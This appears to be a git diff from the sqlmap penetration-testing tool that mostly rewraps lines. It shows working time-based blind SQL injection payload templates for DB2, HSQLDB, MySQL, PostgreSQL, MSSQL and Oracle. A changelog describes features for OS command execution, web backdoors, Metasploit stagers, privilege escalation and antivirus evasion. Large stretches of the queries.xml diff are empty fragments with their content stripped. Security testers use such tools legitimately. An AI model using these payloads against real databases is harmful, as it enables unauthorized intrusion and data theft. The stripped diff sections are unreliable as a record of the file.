-1861,9 +2068,12 @@ 2 1,2,3,9 3 - (SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) + (SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE + ([INFERENCE])) + - (SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) + (SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) + @@ -1881,9 +2091,15 @@ 2 1,2,3,9 1 - (SELECT (CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) + (SELECT (CASE WHEN ([INFERENCE]) THEN + REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM + INFORMATION_SCHEMA.SYSTEM_USERS) + - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN + REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM + INFORMATION_SCHEMA.SYSTEM_USERS) + @@ -1901,9 +2117,15 @@ 2 1,2,3,9 1 - (SELECT (CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM (VALUES(0))) + (SELECT (CASE WHEN ([INFERENCE]) THEN + REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM + (VALUES(0))) + - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM (VALUES(0))) + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN + REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) + FROM (VALUES(0))) + @@ -1962,9 +2184,13 @@ 2 2,3 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE + [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT + BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + @@ -1982,9 +2208,13 @@ 1 2,3 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE 1/(SELECT 0) END)) + ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE 1/(SELECT 0) + END)) + - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE 1/(SELECT 0) END)) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE + 1/(SELECT 0) END)) + @@ -2002,9 +2232,13 @@ 2 2,3 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE 1/(SELECT 0) END)) + ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE + 1/(SELECT 0) END)) + - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE 1/(SELECT 0) END)) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM + GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE 1/(SELECT 0) END)) + @@ -2021,9 +2255,15 @@ 2 2,3 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) + ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers + AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM]*(SELECT + [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) + - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS + sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE + [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) + @@ -2041,9 +2281,12 @@ 1 2,3 1 - ,(BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;) + ,(BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;) + - ,(BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;) + ,(BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END + IF; END;) + @@ -2060,9 +2303,13 @@ 1 2,3 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL) + ,(SELECT (CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE 1/(SELECT + 0 FROM DUAL) END) FROM DUAL) + - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) + ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL) + @@ -2079,9 +2326,13 @@ 2 2,3 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL) + ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS + T3,ALL_USERS T4,ALL_USERS T5) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL) + - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS + T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL) + @@ -2098,9 +2349,15 @@ 2 2,3 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM INFORMATION_SCHEMA.SYSTEM_USERS) END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) + ,(SELECT (CASE WHEN ([INFERENCE]) THEN + (ASCII(REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT + 0 FROM INFORMATION_SCHEMA.SYSTEM_USERS) END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) + - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM INFORMATION_SCHEMA.SYSTEM_USERS) END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN + (ASCII(REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL))) ELSE + [RANDNUM]/(SELECT 0 FROM INFORMATION_SCHEMA.SYSTEM_USERS) END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) + -- @@ -2110,8 +2367,8 @@ HSQLDB >= 1.7.2
- - + + HSQLDB > 2.0 time-based blind - ORDER BY, GROUP BY clause (heavy query) 5 @@ -2119,9 +2376,15 @@ 2 2,3 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0))) + ,(SELECT (CASE WHEN ([INFERENCE]) THEN + (ASCII(REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL))) ELSE + [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0))) + - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0))) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN + (ASCII(REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL))) ELSE + [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0))) + diff --git a/data/xml/queries.xml b/data/xml/queries.xml index deda4364d..2f0394e6d 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -24,56 +24,100 @@ - - + + - - + + - + - - + + - - + + - + - - + + - - + + - - + + - - + + - - + + @@ -101,38 +145,54 @@ - - + + - + - + - - + + - + - + - - + + - - + + @@ -140,15 +200,26 @@ - + - - + + - - + + @@ -175,51 +246,84 @@ - + - + - - + + - + - + - - + + - - + + - + - + - - + + - - + + @@ -257,65 +361,96 @@ --> - + - + - + - - + + - - + + - + - + - + - - + + - + - + - - + + - - + + @@ -354,7 +489,8 @@ - + @@ -366,8 +502,11 @@ - - + + @@ -401,11 +540,14 @@ - + - + @@ -414,9 +556,9 @@ - + - + @@ -432,7 +574,8 @@ - + @@ -442,23 +585,30 @@ - + - + - + - - + + @@ -466,16 +616,26 @@ - - + + - - + + - + - + @@ -502,7 +662,8 @@ - + @@ -511,7 +672,7 @@ - + @@ -523,13 +684,16 @@ - + - + - + @@ -555,7 +719,8 @@ - + @@ -579,23 +744,28 @@ - + - + - + - + @@ -621,7 +791,8 @@ - + @@ -631,44 +802,65 @@ - + - + - - + + - + - + - - + + - + - + - - + + - - + + @@ -701,44 +893,66 @@ - + - - + + - - + + - - + + - - + + - + - - + + - - + + @@ -770,7 +984,8 @@ - + @@ -778,31 +993,48 @@ - + - + - - + + - + - - + + - - + + @@ -835,10 +1067,12 @@ - + - + @@ -849,19 +1083,27 @@ - + - + - - + + - + @@ -896,7 +1138,8 @@ - + @@ -904,31 +1147,49 @@ - + - + - - + + - + - + - - + + - - + + @@ -962,16 +1223,23 @@ - + - - + + - - + + @@ -979,7 +1247,8 @@ - + @@ -988,17 +1257,28 @@ - + - - + + - - + + - + @@ -1023,40 +1303,54 @@ - + - + - + - + - + - + - + - + - + - + - - + + @@ -1064,15 +1358,27 @@ - + - - + + - - + + @@ -1106,7 +1412,9 @@ - + @@ -1115,7 +1423,7 @@ - + @@ -1139,8 +1447,10 @@ - - + + @@ -1150,15 +1460,21 @@ - + - + - - + + @@ -1166,15 +1482,27 @@ - + - - + + - - + + @@ -1201,36 +1529,50 @@ - + - + - + - - + + - - + + - + - - + + - - + + @@ -1238,15 +1580,26 @@ - + - - + + - - + + @@ -1280,26 +1633,35 @@ - + - - + + - + - + - - + + @@ -1307,15 +1669,26 @@ - + - - + + - - + + @@ -1343,7 +1716,8 @@ - + @@ -1354,7 +1728,8 @@ - + @@ -1363,15 +1738,21 @@ - + - + - - + + @@ -1379,15 +1760,27 @@ - + - - + + - - + + @@ -1414,7 +1807,8 @@ - + @@ -1424,21 +1818,28 @@ - + - + - + - - + + @@ -1446,15 +1847,26 @@ - + - - + + - - + + @@ -1490,31 +1902,49 @@ - + - + - - + + - + - + - - + + - - + + @@ -1587,43 +2017,67 @@ - + - + - + - - + + - - + + - - + + - - + + - - + + @@ -1655,7 +2109,9 @@ - + @@ -1664,7 +2120,7 @@ - + @@ -1691,15 +2147,21 @@ - + - + - - + + @@ -1707,7 +2169,8 @@ - + @@ -1715,5 +2178,5 @@ - + diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 1281080c0..3bb97a411 100644 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -31,7 +31,8 @@ # Version 1.0 (2016-02-27) * Implemented support for automatic decoding of page content through detected charset. -* Implemented mechanism for proper data dumping on DBMSes not supporting `LIMIT/OFFSET` like mechanism(s) (e.g. Microsoft SQL Server, Sybase, etc.). +* Implemented mechanism for proper data dumping on DBMSes not supporting `LIMIT/OFFSET` like mechanism(s) (e.g. + Microsoft SQL Server, Sybase, etc.). * Major improvements to program stabilization based on user reports. * Added new tampering scripts avoiding popular WAF/IPS mechanisms. * Fixed major bug with DNS leaking in Tor mode. @@ -44,7 +45,8 @@ * Added option `--randomize` for randomly changing value of a given parameter(s) based on it's original form. * Added switch `--force-ssl` for forcing usage of SSL/HTTPS requests. * Added option `--host` for manually setting HTTP Host header value. -* Added option `--eval` for evaluating provided Python code (with resulting parameter values) right before the request itself. +* Added option `--eval` for evaluating provided Python code (with resulting parameter values) right before the request + itself. * Added option `--skip` for skipping tests for given parameter(s). * Added switch `--titles` for comparing pages based only on their titles. * Added option `--charset` for forcing character encoding used for data retrieval. @@ -131,7 +133,8 @@ * Implemented support for SQLite 2 and 3. * Implemented support for Firebird. * Implemented support for Microsoft Access, Sybase and SAP MaxDB. -* Extended old `--dump -C` functionality to be able to search for specific database(s), table(s) and column(s), option `--search`. +* Extended old `--dump -C` functionality to be able to search for specific database(s), table(s) and column(s), + option `--search`. * Added support to tamper injection data with option `--tamper`. * Added automatic recognition of password hashes format and support to crack them with a dictionary-based attack. * Added support to enumerate roles on Oracle, `--roles` switch. @@ -143,12 +146,16 @@ * Implemented HTTP(s) proxy authentication support, option `--proxy-cred`. * Implemented feature to speedup the enumeration of table names. * Support for customizable HTTP(s) redirections. -* Support to replicate the back-end DBMS tables structure and entries in a local SQLite 3 database, switch `--replicate`. +* Support to replicate the back-end DBMS tables structure and entries in a local SQLite 3 database, + switch `--replicate`. * Support to parse and test forms on target url, switch `--forms`. -* Added switches to brute-force tables names and columns names with a dictionary attack, `--common-tables` and `--common-columns`. Useful for instance when system table `information_schema` is not available on MySQL. -* Basic support for REST-style URL parameters by using the asterisk (`*`) to mark where to test for and exploit SQL injection. +* Added switches to brute-force tables names and columns names with a dictionary attack, `--common-tables` + and `--common-columns`. Useful for instance when system table `information_schema` is not available on MySQL. +* Basic support for REST-style URL parameters by using the asterisk (`*`) to mark where to test for and exploit SQL + injection. * Added safe URL feature, `--safe-url` and `--safe-freq`. -* Added switch `--text-only` to strip from the HTTP response body the HTML/JS code and compare pages based only on their textual content. +* Added switch `--text-only` to strip from the HTTP response body the HTML/JS code and compare pages based only on their + textual content. * Implemented few other features and switches. * Over 100 bugs fixed. * Major code refactoring. @@ -156,16 +163,24 @@ # Version 0.8 (2010-03-14) -* Support to enumerate and dump all databases' tables containing user provided column(s) by specifying for instance `--dump -C user,pass`. Useful to identify for instance tables containing custom application credentials. -* Support to parse `-C` (column name(s)) when fetching columns of a table with `--columns`: it will enumerate only columns like the provided one(s) within the specified table. +* Support to enumerate and dump all databases' tables containing user provided column(s) by specifying for + instance `--dump -C user,pass`. Useful to identify for instance tables containing custom application credentials. +* Support to parse `-C` (column name(s)) when fetching columns of a table with `--columns`: it will enumerate only + columns like the provided one(s) within the specified table. * Support for takeover features on PostgreSQL 8.4. -* Enhanced `--priv-esc` to rely on new Metasploit Meterpreter's 'getsystem' command to elevate privileges of the user running the back-end DBMS instance to SYSTEM on Windows. -* Automatic support in `--os-pwn` to use the web uploader/backdoor to upload and execute the Metasploit payload stager when stacked queries SQL injection is not supported, for instance on MySQL/PHP and MySQL/ASP, but there is a writable folder within the web server document root. -* Fixed web backdoor functionality for `--os-cmd`, `--os-shell` and `--os-pwn` useful when web application does not support stacked queries. -* Added support to properly read (`--read-file`) also binary files via PostgreSQL by injecting sqlmap new `sys_fileread()` user-defined function. +* Enhanced `--priv-esc` to rely on new Metasploit Meterpreter's 'getsystem' command to elevate privileges of the user + running the back-end DBMS instance to SYSTEM on Windows. +* Automatic support in `--os-pwn` to use the web uploader/backdoor to upload and execute the Metasploit payload stager + when stacked queries SQL injection is not supported, for instance on MySQL/PHP and MySQL/ASP, but there is a writable + folder within the web server document root. +* Fixed web backdoor functionality for `--os-cmd`, `--os-shell` and `--os-pwn` useful when web application does not + support stacked queries. +* Added support to properly read (`--read-file`) also binary files via PostgreSQL by injecting sqlmap + new `sys_fileread()` user-defined function. * Updated active fingerprint and comment injection fingerprint for MySQL 5.1, MySQL 5.4 and MySQL 5.5. * Updated active fingerprint for PostgreSQL 8.4. -* Support for NTLM authentication via python-ntlm third party library, http://code.google.com/p/python-ntlm/, `--auth-type NTLM`. +* Support for NTLM authentication via python-ntlm third party + library, http://code.google.com/p/python-ntlm/, `--auth-type NTLM`. * Support to automatically decode `deflate`, `gzip` and `x-gzip` HTTP responses. * Support for Certificate authentication, `--auth-cert` option added. * Added support for regular expression based scope when parsing Burp or Web Scarab proxy log file (`-l`), `--scope`. @@ -175,21 +190,28 @@ * Added support to specify which Google dork result page to parse, `--gpage` to be used together with `-g`. * Major bug fix and enhancements to the multi-threading (`--threads`) functionality. * Fixed URL encoding/decoding of GET/POST parameters and Cookie header. -* Refactored `--update` to use `python-svn` third party library if available or `svn` command to update sqlmap to the latest development version from subversion repository. +* Refactored `--update` to use `python-svn` third party library if available or `svn` command to update sqlmap to the + latest development version from subversion repository. * Major bugs fixed. * Cleanup of UDF source code repository, https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/udfhack. * Major code cleanup. -* Added simple file encryption/compression utility, extra/cloak/cloak.py, used by sqlmap to decrypt on the fly Churrasco, UPX executable and web shells consequently reducing drastically the number of anti-virus software that mistakenly mark sqlmap as a malware. +* Added simple file encryption/compression utility, extra/cloak/cloak.py, used by sqlmap to decrypt on the fly + Churrasco, UPX executable and web shells consequently reducing drastically the number of anti-virus software that + mistakenly mark sqlmap as a malware. * Updated user's manual. -* Created several demo videos, hosted on YouTube (http://www.youtube.com/user/inquisb) and linked from https://sqlmap.org/demo.html. +* Created several demo videos, hosted on YouTube (http://www.youtube.com/user/inquisb) and linked + from https://sqlmap.org/demo.html. # Version 0.8 release candidate (2009-09-21) -* Major enhancement to the Microsoft SQL Server stored procedure heap-based buffer overflow exploit (`--os-bof`) to automatically bypass DEP memory protection. -* Added support for MySQL and PostgreSQL to execute Metasploit shellcode via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an option instead of uploading the standalone payload stager executable. +* Major enhancement to the Microsoft SQL Server stored procedure heap-based buffer overflow exploit (`--os-bof`) to + automatically bypass DEP memory protection. +* Added support for MySQL and PostgreSQL to execute Metasploit shellcode via UDF 'sys_bineval' (in-memory, + anti-forensics technique) as an option instead of uploading the standalone payload stager executable. * Added options for MySQL, PostgreSQL and Microsoft SQL Server to read/add/delete Windows registry keys. * Added options for MySQL and PostgreSQL to inject custom user-defined functions. -* Added support for `--first` and `--last` so the user now has even more granularity in what to enumerate in the query output. +* Added support for `--first` and `--last` so the user now has even more granularity in what to enumerate in the query + output. * Minor enhancement to save the session by default in 'output/hostname/session' file if `-s` option is not specified. * Minor improvement to automatically remove sqlmap created temporary files from the DBMS underlying file system. * Minor bugs fixed. @@ -199,67 +221,101 @@ * Adapted Metasploit wrapping functions to work with latest 3.3 development version too. * Adjusted code to make sqlmap 0.7 to work again on Mac OSX too. -* Reset takeover OOB features (if any of `--os-pwn`, `--os-smbrelay` or `--os-bof` is selected) when running under Windows because msfconsole and msfcli are not supported on the native Windows Ruby interpreter. This make sqlmap 0.7 to work again on Windows too. +* Reset takeover OOB features (if any of `--os-pwn`, `--os-smbrelay` or `--os-bof` is selected) when running under + Windows because msfconsole and msfcli are not supported on the native Windows Ruby interpreter. This make sqlmap 0.7 + to work again on Windows too. * Minor improvement so that sqlmap tests also all parameters with no value (eg. par=). * HTTPS requests over HTTP proxy now work on either Python 2.4, 2.5 and 2.6+. * Major bug fix to sql-query/sql-shell features. * Major bug fix in `--read-file` option. * Major silent bug fix to multi-threading functionality. -* Fixed the web backdoor functionality (for MySQL) when (usually) stacked queries are not supported and `--os-shell` is provided. +* Fixed the web backdoor functionality (for MySQL) when (usually) stacked queries are not supported and `--os-shell` is + provided. * Fixed MySQL 'comment injection' version fingerprint. * Fixed basic Microsoft SQL Server 2000 fingerprint. * Many minor bug fixes and code refactoring. # Version 0.7 release candidate (2009-04-22) -* Added support to execute arbitrary commands on the database server underlying operating system either returning the standard output or not via UDF injection on MySQL and PostgreSQL and via xp_cmdshell() stored procedure on Microsoft SQL Server; -* Added support for out-of-band connection between the attacker box and the database server underlying operating system via stand-alone payload stager created by Metasploit and supporting Meterpreter, shell and VNC payloads for both Windows and Linux; -* Added support for out-of-band connection via Microsoft SQL Server 2000 and 2005 'sp_replwritetovarbin' stored procedure heap-based buffer overflow (MS09-004) exploitation with multi-stage Metasploit payload support; -* Added support for out-of-band connection via SMB reflection attack with UNC path request from the database server to the attacker box by using the Metasploit smb_relay exploit; -* Added support to read and write (upload) both text and binary files on the database server underlying file system for MySQL, PostgreSQL and Microsoft SQL Server; -* Added database process' user privilege escalation via Windows Access Tokens kidnapping on MySQL and Microsoft SQL Server via either Meterpreter's incognito extension or Churrasco stand-alone executable; +* Added support to execute arbitrary commands on the database server underlying operating system either returning the + standard output or not via UDF injection on MySQL and PostgreSQL and via xp_cmdshell() stored procedure on Microsoft + SQL Server; +* Added support for out-of-band connection between the attacker box and the database server underlying operating system + via stand-alone payload stager created by Metasploit and supporting Meterpreter, shell and VNC payloads for both + Windows and Linux; +* Added support for out-of-band connection via Microsoft SQL Server 2000 and 2005 'sp_replwritetovarbin' stored + procedure heap-based buffer overflow (MS09-004) exploitation with multi-stage Metasploit payload support; +* Added support for out-of-band connection via SMB reflection attack with UNC path request from the database server to + the attacker box by using the Metasploit smb_relay exploit; +* Added support to read and write (upload) both text and binary files on the database server underlying file system for + MySQL, PostgreSQL and Microsoft SQL Server; +* Added database process' user privilege escalation via Windows Access Tokens kidnapping on MySQL and Microsoft SQL + Server via either Meterpreter's incognito extension or Churrasco stand-alone executable; * Speed up the inference algorithm by providing the minimum required charset for the query output; -* Major bug fix in the comparison algorithm to correctly handle also the case that the url is stable and the False response changes the page content very little; +* Major bug fix in the comparison algorithm to correctly handle also the case that the url is stable and the False + response changes the page content very little; * Many minor bug fixes, minor enhancements and layout adjustments. # Version 0.6.4 (2009-02-03) -* Major enhancement to make the comparison algorithm work properly also on url not stables automatically by using the difflib Sequence Matcher object; -* Major enhancement to support SQL data definition statements, SQL data manipulation statements, etc from user in SQL query and SQL shell if stacked queries are supported by the web application technology; +* Major enhancement to make the comparison algorithm work properly also on url not stables automatically by using the + difflib Sequence Matcher object; +* Major enhancement to support SQL data definition statements, SQL data manipulation statements, etc from user in SQL + query and SQL shell if stacked queries are supported by the web application technology; * Major speed increase in DBMS basic fingerprint; -* Minor enhancement to support an option (`--is-dba`) to show if the current user is a database management system administrator; -* Minor enhancement to support an option (`--union-tech`) to specify the technique to use to detect the number of columns used in the web application SELECT statement: NULL bruteforcing (default) or ORDER BY clause bruteforcing; +* Minor enhancement to support an option (`--is-dba`) to show if the current user is a database management system + administrator; +* Minor enhancement to support an option (`--union-tech`) to specify the technique to use to detect the number of + columns used in the web application SELECT statement: NULL bruteforcing (default) or ORDER BY clause bruteforcing; * Added internal support to forge CASE statements, used only by `--is-dba` query at the moment; * Minor layout adjustment to the `--update` output; * Increased default timeout to 30 seconds; * Major bug fix to correctly handle custom SQL "limited" queries on Microsoft SQL Server and Oracle; * Major bug fix to avoid tracebacks when multiple targets are specified and one of them is not reachable; -* Minor bug fix to make the Partial UNION query SQL injection technique work properly also on Oracle and Microsoft SQL Server; +* Minor bug fix to make the Partial UNION query SQL injection technique work properly also on Oracle and Microsoft SQL + Server; * Minor bug fix to make the `--postfix` work even if `--prefix` is not provided; * Updated documentation. # Version 0.6.3 (2008-12-18) -* Major enhancement to get list of targets to test from Burp proxy (http://portswigger.net/suite/) requests log file path or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project) 'conversations/' folder path by providing option -l ; +* Major enhancement to get list of targets to test from Burp proxy (http://portswigger.net/suite/) requests log file + path or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project) 'conversations/' folder path + by providing option -l ; * Major enhancement to support Partial UNION query SQL injection technique too; -* Major enhancement to test if the web application technology supports stacked queries (multiple statements) by providing option `--stacked-test` which will be then used someday also by takeover functionality; -* Major enhancement to test if the injectable parameter is affected by a time based blind SQL injection technique by providing option `--time-test`; -* Minor enhancement to fingerprint the web server operating system and the web application technology by parsing some HTTP response headers; -* Minor enhancement to fingerprint the back-end DBMS operating system by parsing the DBMS banner value when -b option is provided; -* Minor enhancement to be able to specify the number of seconds before timeout the connection by providing option `--timeout #`, default is set to 10 seconds and must be 3 or higher; -* Minor enhancement to be able to specify the number of seconds to wait between each HTTP request by providing option `--delay #`; +* Major enhancement to test if the web application technology supports stacked queries (multiple statements) by + providing option `--stacked-test` which will be then used someday also by takeover functionality; +* Major enhancement to test if the injectable parameter is affected by a time based blind SQL injection technique by + providing option `--time-test`; +* Minor enhancement to fingerprint the web server operating system and the web application technology by parsing some + HTTP response headers; +* Minor enhancement to fingerprint the back-end DBMS operating system by parsing the DBMS banner value when -b option is + provided; +* Minor enhancement to be able to specify the number of seconds before timeout the connection by providing + option `--timeout #`, default is set to 10 seconds and must be 3 or higher; +* Minor enhancement to be able to specify the number of seconds to wait between each HTTP request by providing + option `--delay #`; * Minor enhancement to be able to get the injection payload `--prefix` and `--postfix` from user; -* Minor enhancement to be able to enumerate table columns and dump table entries, also when the database name is not provided, by using the current database on MySQL and Microsoft SQL Server, the 'public' scheme on PostgreSQL and the 'USERS' TABLESPACE_NAME on Oracle; -* Minor enhancemet to support also `--regexp`, `--excl-str` and `--excl-reg` options rather than only `--string` when comparing HTTP responses page content; -* Minor enhancement to be able to specify extra HTTP headers by providing option `--headers`. By default Accept, Accept-Language and Accept-Charset headers are set; -* Minor improvement to be able to provide CU (as current user) as user value (`-U`) when enumerating users privileges or users passwords; +* Minor 